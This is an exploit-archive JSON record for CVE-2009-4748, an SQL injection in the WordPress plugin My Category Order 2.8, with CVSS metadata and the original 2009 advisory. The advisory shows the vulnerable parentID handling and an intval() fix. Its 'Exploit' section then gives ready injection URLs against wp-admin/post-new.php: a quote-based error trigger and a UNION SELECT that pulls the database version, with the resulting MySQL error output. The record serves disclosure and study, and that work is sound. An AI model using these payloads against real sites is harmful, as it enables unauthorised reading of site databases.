{"exploit":{"id":"EDB-9150","name":"WordPress Plugin My Category Order 2.8 - SQL Injection (SQLi)","description":"WordPress Plugin My Category Order 2.8 - SQL Injection (SQLi)","cves":["CVE-2009-4748"],"author":"Manh Luat","published":"2009-07-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9150","path":"exploits/php/webapps/9150.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9150.txt","vulnerabilities":[{"id":"CVE-2009-4748","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in mycategoryorder.php in the My Category Order plugin 2.8 and earlier for WordPress allows remote attackers to execute arbitrary SQL commands via the parentID parameter in an act_OrderCategories action to wp-admin/post-new.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4748","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4748"},"updatedAt":"2024-08-07T07:17:24.985Z","retrievedAt":"2026-11-26T20:09:20.697Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9150.png?v=2","url":"https://exploitbin.com/exploits/EDB-9150","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9150/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9150/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"###############################\n# Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability\n# Download: http://wordpress.org/extend/plugins/my-category-order/\n# No Dork\n# Author: ManhLuat93 [at] hcegroup[dot]net\n###############################\n\nErrors appears only when you have admin control\n\nOpen mycategoryorder.php (Line 47-48):\nif (isset($_GET['parentID']))\n$parentID = $_GET['parentID'];\n\nFix:\nif (isset($_GET['parentID']))\n$parentID = intval($_GET['parentID']);\n\n\n[+] Exploit [+]\n\n\nhttp://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1\n\nMySQL Query Error:\n\nWordPress database error:\n\n [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1]\nSELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC\n\n\n\n[+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1\n\n[+] What do you see ?\n\n# milw0rm.com [2009-07-15]","sha256":"34f3f5ae2d8c532c8b88e21978c09c4ec888a79a8e9ea37fee3d86a679519bc2","bytes":1238,"fetchedAt":"2026-11-26T20:09:16.013Z","encoding":"utf-8 (display only; download retains original bytes)"}